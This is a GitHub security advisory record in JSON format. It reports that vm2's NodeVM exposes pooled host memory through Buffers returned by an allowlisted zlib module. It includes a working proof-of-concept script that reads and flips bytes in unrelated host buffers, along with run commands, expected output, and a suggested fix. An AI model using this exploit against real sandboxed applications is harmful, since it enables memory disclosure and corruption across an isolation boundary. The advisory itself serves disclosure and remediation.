{"id":"GHSA-489w-w794-jq94","summary":"vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary","details":"## Summary\n\nWhen an application explicitly exposes Node's `zlib` module through vm2's `NodeVM` builtin allowlist, an untrusted guest can obtain a pool-backed host `Buffer` from `zlib.deflateSync`, create a full-width view of its backing `ArrayBuffer`, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local `Buffer` control remains exact-size and non-mutating.\n\n## Technical Details\n\n`NodeVM` accepts `require: { builtin: ['zlib'] }`. The builtin resolver reaches `addDefaultBuiltin` in `lib/builtin.js`, where the host module is exposed through the generic readonly wrapper. `zlib.deflateSync` returns a Node `Buffer`; for a small result, that buffer can use Node's shared pool, whose `.buffer` is the complete pool rather than only the logical result slice. The guest can therefore call `Buffer.from(result.buffer, 0, result.buffer.byteLength)` and inspect or modify pooled bytes outside `result`.\n\nThe relevant isolation invariant is that every `Buffer` crossing into the sandbox owns its complete backing store: `byteOffset === 0` and `buffer.byteLength === length`. vm2's `depoolBuffer` implementation applies that rule to sandbox-facing `Buffer` factories, but the generic host-builtin return path does not apply it to the `Buffer` returned by `zlib`. The precondition is an embedder that deliberately allowlists `zlib`; applications that do not expose this builtin are not reached by this proof.\n\n## PoV\n\nThe guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host `Buffer`; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.\n\n```js\nconst zlib = require('zlib');\nconst result = zlib.deflateSync(Buffer.from('hello'));\nconst view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\nconst markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);\nlet markerHits = 0;\nlet firstMarker = -1;\nfor (let offset = 0; offset \u003c= view.length - markerCodes.length; offset += 1) {\n  let equal = true;\n  for (let index = 0; index \u003c markerCodes.length; index += 1) {\n    if (view[offset + index] !== markerCodes[index]) { equal = false; break; }\n  }\n  if (equal) { markerHits += 1; if (firstMarker \u003c 0) firstMarker = offset; }\n}\nif (firstMarker \u003e= 0) view[firstMarker] ^= 0xff;\nmodule.exports = {\n  route: {\n    requireReturned: !!zlib && typeof zlib.deflateSync === 'function',\n    deflateSyncReturnedBuffer: Buffer.isBuffer(result),\n    returnedBufferShape: !!result && !!result.buffer,\n  },\n  resultLength: result.length,\n  resultBackingLength: result.buffer.byteLength,\n  viewLength: view.length,\n  fullBackingStoreView: view.byteOffset === 0\n    && view.length === result.buffer.byteLength\n    && view.buffer.byteLength === result.buffer.byteLength,\n  markerHits,\n  firstMarker,\n};\n```\n\n## PoC\n\nInstall the tested package version with Node.js, save the complete reproduction below as `zlib-buffer-isolation-test.js`, and run both modes. The attack and control commands print the JSON shown after the code.\n\n```sh\nnpm install vm2@3.11.8\nnode zlib-buffer-isolation-test.js attack hello\nnode zlib-buffer-isolation-test.js control\n```\n\n```js\n'use strict';\n\nconst { NodeVM } = require('vm2');\n\nconst marker = 'VM2_ZLIB_POOL_SECRET_7b31';\nconst markerCodes = Object.freeze(Array.from(marker, (character) =\u003e character.charCodeAt(0)));\nconst retained = [];\n\nfor (let index = 0; index \u003c 192; index += 1) {\n  const buffer = Buffer.allocUnsafe(64);\n  buffer.fill(0x41);\n  const markerOffset = index % (buffer.length - markerCodes.length + 1);\n  markerCodes.forEach((byte, byteIndex) =\u003e {\n    buffer[markerOffset + byteIndex] = byte;\n  });\n  retained.push({ buffer, markerOffset });\n}\n\nconst snapshot = () =\u003e retained.map(({ buffer }) =\u003e Array.from(buffer));\nconst changed = (before, after) =\u003e before.some((bytes, index) =\u003e\n  bytes.some((byte, byteIndex) =\u003e byte !== after[index][byteIndex]));\nconst mode = process.argv[2] || 'attack';\nconst input = process.argv[3] || 'hello';\nconst before = snapshot();\nconst vm = new NodeVM({ require: { builtin: ['zlib'] } });\n\nif (mode === 'control') {\n  const control = vm.run(`\n    const zlib = require('zlib');\n    const result = zlib.deflateSync(Buffer.from('hello'));\n    const local = Buffer.allocUnsafe(1);\n    const view = Buffer.from(local.buffer, 0, local.buffer.byteLength);\n    module.exports = {\n      route: !!zlib && typeof zlib.deflateSync === 'function'\n        && Buffer.isBuffer(result),\n      exactSize: local.byteOffset === 0\n        && local.buffer.byteLength === local.length\n        && view.byteOffset === 0\n        && view.length === local.length\n        && view.buffer.byteLength === local.length,\n    };\n  `, 'zlib-buffer-case-a.js');\n  const passed = control.route && control.exactSize && !changed(before, snapshot());\n  console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' }));\n} else {\n  const attack = vm.run(`\n    const zlib = require('zlib');\n    const result = zlib.deflateSync(${JSON.stringify(input)});\n    const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\n    const markerCodes = ${JSON.stringify(Array.from(markerCodes))};\n    let firstMarker = -1;\n    for (let offset = 0; offset \u003c= view.length - markerCodes.length; offset += 1) {\n      if (markerCodes.every((byte, byteIndex) =\u003e view[offset + byteIndex] === byte)) {\n        firstMarker = offset;\n        break;\n      }\n    }\n    if (firstMarker \u003e= 0) view[firstMarker] ^= 0xff;\n    module.exports = {\n      route: !!zlib && typeof zlib.deflateSync === 'function'\n        && Buffer.isBuffer(result),\n      fullView: view.byteOffset === 0\n        && view.length === result.buffer.byteLength\n        && view.buffer.byteLength === result.buffer.byteLength,\n      poolIsWider: result.buffer.byteLength \u003e result.length,\n      markerFound: firstMarker \u003e= 0,\n    };\n  `, 'zlib-buffer-case-b.js');\n  const passed = attack.route && attack.fullView && attack.poolIsWider\n    && attack.markerFound && changed(before, snapshot());\n  console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' }));\n}\n```\n\n```json\n{\"mode\":\"attack\",\"result\":\"violation\"}\n{\"mode\":\"control\",\"result\":\"pass\"}\n```\n\nThe attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution.\n\nThe reproduction is tested against vm2 revision `91034466bfb7f56b95fd48083ec6ca36d058f164`; package metadata at that revision identifies vm2 `3.11.8`.\n\n## Impact\n\nAn affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist `zlib`. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution.\n\n## Suggested Fix\n\nBefore any host-builtin return value is exposed to the guest, apply `depoolBuffer` or an equivalent owned-copy wrapper to every returned `Buffer`. The delivered buffer should satisfy `byteOffset === 0` and `buffer.byteLength === length`; intentionally supported `ArrayBuffer` sharing overloads should remain separately identified so they are not confused with host-created pooled buffers.\n\nAdd a regression test that allowlists `zlib`, calls `deflateSync`, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle.\n\n## Affected Package/Versions\n\n- Package: `vm2` from npm.\n- Tested affected source revision: `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Package metadata at that revision: 3.11.8.\n- Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here.\n- Affected range: only the exact tested revision is asserted; no broader release range is established here.\n\n## Advisory History\n\nThe public [GHSA-fcqc-726x-5wfc advisory](https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc) documents shared small-buffer-pool exposure through sandbox-facing `Buffer` factories. The checked public fix is commit [`4f2508abeb252aa86eb6761c78b3b000248fb089`](https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089), titled `fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node's shared pool`; its change applies the backing-store ownership rule to those factories, not to the `zlib` host-builtin return path demonstrated here.\n\nThe exact `GHSA-fcqc-726x-5wfc` commit search also returned [`5214b02ef13b82497fcb917b45320dfd014ffd09`](https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09), whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for [`zlib Buffer pool` issues](https://github.com/patriksimek/vm2/issues?q=zlib+Buffer+pool) returned no independent match, and the corresponding [`zlib Buffer pool` pull-request search](https://github.com/patriksimek/vm2/pulls?q=zlib+Buffer+pool) also returned no independent match.\n\nPrior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories.\n\nThis finding is therefore distinct in fix surface: `zlib` is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/`Reflect.apply` handling, and process-global FIPS state.","aliases":["CVE-2026-100723"],"modified":"2026-10-05T23:15:04.002769867Z","published":"2026-10-05T23:00:46Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-200","CWE-787"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-05T23:00:46Z"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-489w-w794-jq94"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/9596bf5e7d8de7351d675ff4f5293b72157202d4"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.12.2"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/vm2-before-3.12.2-memory-disclosure-via-zlib-buffer-pool"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.12.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-489w-w794-jq94/GHSA-489w-w794-jq94.json","last_known_affected_version_range":"\u003c= 3.12.1"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N"}]}